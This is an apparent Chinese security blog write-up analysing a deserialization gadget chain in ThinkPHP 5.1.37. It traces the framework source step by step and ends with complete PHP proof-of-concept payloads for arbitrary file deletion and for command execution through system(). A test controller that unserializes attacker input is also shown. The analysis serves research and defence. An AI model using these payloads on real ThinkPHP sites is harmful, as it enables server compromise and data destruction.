返回
Featured image of post thinkphp5.1.* - 反序列化

thinkphp5.1.* - 反序列化

go!

thinkphp5.1.* - 反序列化

环境

thinkphp-5.1.37

PHP 7.0.33

反序列化触发链

  • 全局搜索__destruct()关键字,找到漏洞的起点:

  • 跟进removeFiles()

发现$this->files变量,而该removeFiles函数的功能就是删除文件,因此只要有反序列化点,就可实现任意文件删除,POC如下:

<?php
namespace think\process\pipes;
abstract class Pipes
{

}

class Windows extends Pipes
{
    private $files = ["test.txt"];
}
echo base64_encode(serialize(new Windows()));
?>
  • removeFiles()中使用了file_exists$filename进行处理。file_exists函数种$filename会被作为字符串处理,那么如果filename是某个类对象,就会触发__toString方法。
  • 全局搜索__toString,发现Conversion类种存在如下:

  • 跟进toJson()
/**
     * 转换当前模型对象为JSON字符串
     * @access public
     * @param  integer $options json参数
     * @return string
     */
    public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options);
    }
  • 跟进toArray():
/**
     * 转换当前模型对象为数组
     * @access public
     * @return array
     */
    public function toArray()
    {
        ....
        // 追加属性(必须定义获取器)
        if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);

                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        if ($relation) {
                            $relation->visible($name);
                        }
                    }

                    $item[$key] = $relation ? $relation->append($name)->toArray() : [];
                } elseif (strpos($name, '.')) {
                    list($key, $attr) = explode('.', $name);
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);

                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        if ($relation) {
                            $relation->visible([$attr]);
                        }
                    }

                    $item[$key] = $relation ? $relation->append([$attr])->toArray() : [];
                } else {
                    $item[$name] = $this->getAttr($name, $item);
                }
            }
        }

        return $item;
    }

注意到了$relation->visible($name),调用$relation变量的visible方法,参数为$name,而name是从$this->append取出来的,而$this->append我们可以通过自定义属性进行控制,那么name就可控,当$relation也可控的话,令其为某个类对象,当调用visible方法不存在时,则会触发该类对象的__call方法。

接下来就是寻找如何控制$relation

  • 跟进$this->getRelation:
/**
     * 获取当前模型的关联模型数据
     * @access public
     * @param  string $name 关联方法名
     * @return mixed
     */
    public function getRelation($name = null)
    {
        if (is_null($name)) {
            return $this->relation;
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }
        return;
    }

发现可以直接return,而且后续判断语句为if (!$relation),所以可继续跟进。

  • 跟进$this->getAttr,进入Attribute类:
/**
     * 获取器 获取数据对象的值
     * @access public
     * @param  string $name 名称
     * @param  array  $item 数据
     * @return mixed
     * @throws InvalidArgumentException
     */
    public function getAttr($name, &$item = null)
    {
        try {
            $notFound = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $notFound = true;
            $value    = null;
        }

      ...

        return $value;
    }
  • 返回值由$this->getData确定,跟进该方法:
/**
     * 获取对象原始数据 如果不存在指定字段返回false
     * @access public
     * @param  string $name 字段名 留空获取全部
     * @return mixed
     * @throws InvalidArgumentException
     */
    public function getData($name = null)
    {
        if (is_null($name)) {
            return $this->data;
        } elseif (array_key_exists($name, $this->data)) {
            return $this->data[$name];
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }
        throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
    }

发现:其值可以由$this->data[$name]确定,那么我们可以控制Attribute类属性data值,且$this->data[$name]的键name是由最初append中的key决定的,也是我们可控的,所以我们可以控制$relation

  • 梳理反序列化触发链:
# Windwos类
__dustruct > removeFiles() > file_exists($filename) > $filename可控 触发__toString()

# Conversion类
__toString() > toJson() > toArray() > $relation->visible($name)  > $relation可控和$name可控 触发__call()

# $name可控
从Conversion类的append属性中读取,所以可控

# $relation可控
Attribute类中getAttr($key) > getData($name) > $data[$name]
其中data为Attribute类属性,键$name可由append控制,所以可控

发现ConversionAttribute为trait类:

自 PHP 5.4.0 起,PHP 实现了一种代码复用的方法,称为 trait。通过在类中使用use 关键字,声明要组合的Trait名称。所以,这里类的继承要使用use关键字。

trait类不能实例化,所以要找一个同时继承Attribute类和Conversion类的子类。

  • 全局搜索Attribute,找到了Model类:

  • 总计目前的利用POC:
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["haha"=>[]];
        $this->data = ["haha"=>new A()];
    }
}

接下来就是寻找A类,该类要么是存在visible方法且里面有敏感函数可以直接让我们利用,要么就是没有visible方法但存在__call()方法可让我们利用。

敏感函数执行链

  • 全局搜索visible,发现没有什么可利用的。

  • 全局搜索__call()

最终在Request.php中找到一个__call方法,且其中存在call_user_func_array,且参数$this->hook是可控的,$args也是我们可控的(之前的反序列化触发链)。但是array_unshift会在$args头中插入$this,导致无法构造任意内容。

因此,要找到另一个函数,让它被这里的call_user_func_array调用,但是它对所需的参数无严格要求,且最终也能触发敏感函数。

thinkphp中有多个远程代码执行洞都有一个filter覆盖的问题,所以尝试从这里入手。

  • filterValue
/**
     * 递归过滤给定的值
     * @access public
     * @param  mixed     $value 键值
     * @param  mixed     $key 键名
     * @param  array     $filters 过滤方法+默认值
     * @return mixed
     */
    private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);

        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);
            } elseif (is_scalar($value)) {
                ....
        }

        return $value;
    }

存在call_user_func敏感函数,往上找看$filters$$value是否可控。

  • 找到input
/**
     * 获取变量 支持过滤和默认值
     * @access public
     * @param  array         $data 数据源
     * @param  string|false  $name 字段名
     * @param  mixed         $default 默认值
     * @param  string|array  $filter 过滤函数
     * @return mixed
     */
    public function input($data = [], $name = '', $default = null, $filter = '')
    {
        if (false === $name) {
            // 获取原始数据
            return $data;
        }
        if ('' != $name) {
            // 解析name
            if (strpos($name, '/')) {
                list($name, $type) = explode('/', $name);
            }

            $data = $this->getData($data, $name);

            if (is_null($data)) {
                return $default;
            }

            if (is_object($data)) {
                return $data;
            }
        }
        // 解析过滤器
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            if (version_compare(PHP_VERSION, '7.1.0', '<')) {
                // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
                $this->arrayReset($data);
            }
        } else {
            $this->filterValue($data, $name, $filter);
        }
		....
        return $data;
    }

会调用filterValue,需要继续往上找,看$filter$data$name能否可控。

  • 找到param:
/**
     * 获取当前请求的参数
     * @access public
     * @param  mixed         $name 变量名
     * @param  mixed         $default 默认值
     * @param  string|array  $filter 过滤方法
     * @return mixed
     */
    public function param($name = '', $default = null, $filter = '')
    {
       ...

        if (true === $name) {
            // 获取包含文件上传信息的数组
            $file = $this->file();
            $data = is_array($file) ? array_merge($this->param, $file) : $this->param;

            return $this->input($data, '', $default, $filter);
        }

        return $this->input($this->param, $name, $default, $filter);
    }

会调用input,发现$this->param我们是可控的,但是$filter$name不明确,继续往上找。

  • 找到isAjax
/**
     * 当前是否Ajax请求
     * @access public
     * @param  bool $ajax  true 获取原始ajax请求
     * @return bool
     */
    public function isAjax($ajax = false)
    {
        $value  = $this->server('HTTP_X_REQUESTED_WITH');
        $result = 'xmlhttprequest' == strtolower($value) ? true : false;

        if (true === $ajax) {
            return $result;
        }

        $result           = $this->param($this->config['var_ajax']) ? true : $result;
        $this->mergeParam = false;
        return $result;
    }

会调用param,且通过$this->config['var_ajax']给param函数的$name参数赋值,且$this->config['var_ajax']我们可控,分析一下赋值后的执行流程:

在param函数中name参数被赋值后且不是true,会调用$this->input($this->param, $name, $default, $filter);,即input函数第二个参数name被赋值且第一个参数$this->param我们可控;在input函数中存在如下调用:

$data = $this->getData($data, $name);
$filter = $this->getFilter($filter, $default);
$this->filterValue($data, $name, $filter);
  • 跟进getData:
/**
     * 获取数据
     * @access public
     * @param  array         $data 数据源
     * @param  string|false  $name 字段名
     * @return mixed
     */
    protected function getData(array $data, $name)
    {
        foreach (explode('.', $name) as $val) {
            if (isset($data[$val])) {
                $data = $data[$val];
            } else {
                return;
            }
        }

        return $data;
    }

该函数的$data参数是由$this->param可控,$name参数来自于$this->config['var_ajax'],返回值是这样进行赋值$data = $data[$val],即最终的返回值我们可控,也就是input函数中的$data可控,那么$this->filterValue函数的data参数也就可控,现在就差$filter是否可控。

  • 跟进getFilter:
protected function getFilter($filter, $default)
    {
        if (is_null($filter)) {
            $filter = [];
        } else {
            $filter = $filter ?: $this->filter;
            if (is_string($filter) && false === strpos($filter, '/')) {
                $filter = explode(',', $filter);
            } else {
                $filter = (array) $filter;
            }
        }

        $filter[] = $default;

        return $filter;
    }

发现返回的filter值来自于$this->filter,也就是可控的。

  • 综上,对于filterValue函数来说,其参数value可控,filter可控,那么其中所调用的call_user_func($filter, $value)也就完全可控。从而执行恶意代码。

过程中提到input函数中$this->param这个值,虽然我们可以通过类属性控制它,但是发现可以在GET请求中加入参数对其进行赋值,进行个简单测试:

<?php
namespace app\index\controller;

use think\Request;
class Index
{
    public function index(Request $request)
    {
        var_dump($request->param());
        return 'haha';
    }

    public function hello($name = 'ThinkPHP5')
    {
        return 'hello,' . $name;
    }
}

  • 梳理执行链:
# Model类__call方法,令$this->hook = ["visible"=>[$this,"isAjax"]];调用this->isAjax方法,经上面分析,this->isAjax方法对参数无要求,所以哪怕在$args头插入this也无所谓了。
public function __call($method, $args)
{
    if (array_key_exists($method, $this->hook)) {
        array_unshift($args, $this);
        return call_user_func_array($this->hook[$method], $args);
       
    }
}


# 触发调用isAjax函数,令$this->config['var_ajax']='haha'
public function isAjax($ajax = false)
{
    $result = $this->param($this->config['var_ajax']) ? true : $result;
}

# 调用param函数,name=$this->config['var_ajax']='haha';$this->param为GET请求传入的参数;filter暂时未知
public function param($name = '', $default = null, $filter = '')
{
    return $this->input($this->param, $name, $default, $filter);
}

# 调用input函数,data=外部传入,{['haha']=>'ls'};name=$this->config['var_ajax']='haha';filter经过$this->getFilter($filter, $default)函数是filter=[0=>'system',1=>$default];
public function input($data = [], $name = '', $default = null, $filter = '')
{
    $data = $this->getData($data, $name);
    $filter = $this->getFilter($filter, $default);// 经过该函数filter=[0=>'system',1=>$default]
    if (is_array($data)) {// data通过getData函数后不再是数组,data=’ls‘
        array_walk_recursive($data, [$this, 'filterValue'], $filter);
        if (version_compare(PHP_VERSION, '7.1.0', '<')) {
            $this->arrayReset($data);
        }
    } else {
        $this->filterValue($data, $name, $filter);
    }
}

# 调用filterValue函数,value=’ls‘;key=’haha‘这个函数里最后没用到;filters=[0=>'system',1=>$default]
private function filterValue(&$value, $key, $filters)
{
    $default = array_pop($filters);//[0=>'system',1=>$default]pop完之后,filters=[0=>'system']

    foreach ($filters as $filter) {
        if (is_callable($filter)) {
            
            $value = call_user_func($filter, $value);
        }
    }
}

# 调用call_user_func,filter=’system‘,value='ls'

POC

Model是一个抽象类,想要实例化,必须找到一个它的实现类,全局搜索extends Model,找到Pivot类:

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["haha"=>[]];
        $this->data = ["haha"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        'var_ajax'         => 'haha',  
    ];
    function __construct(){
        $this->filter = "system";
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}


namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

测试页代码构造一个反序列化入口:

public function index()
{

    $test = $_POST['cmd'];
    unserialize(base64_decode($test));
    return 'haha';
}

利用:

Licensed under CC BY-NC-SA 4.0
Built with Hugo
Theme Stack designed by Jimmy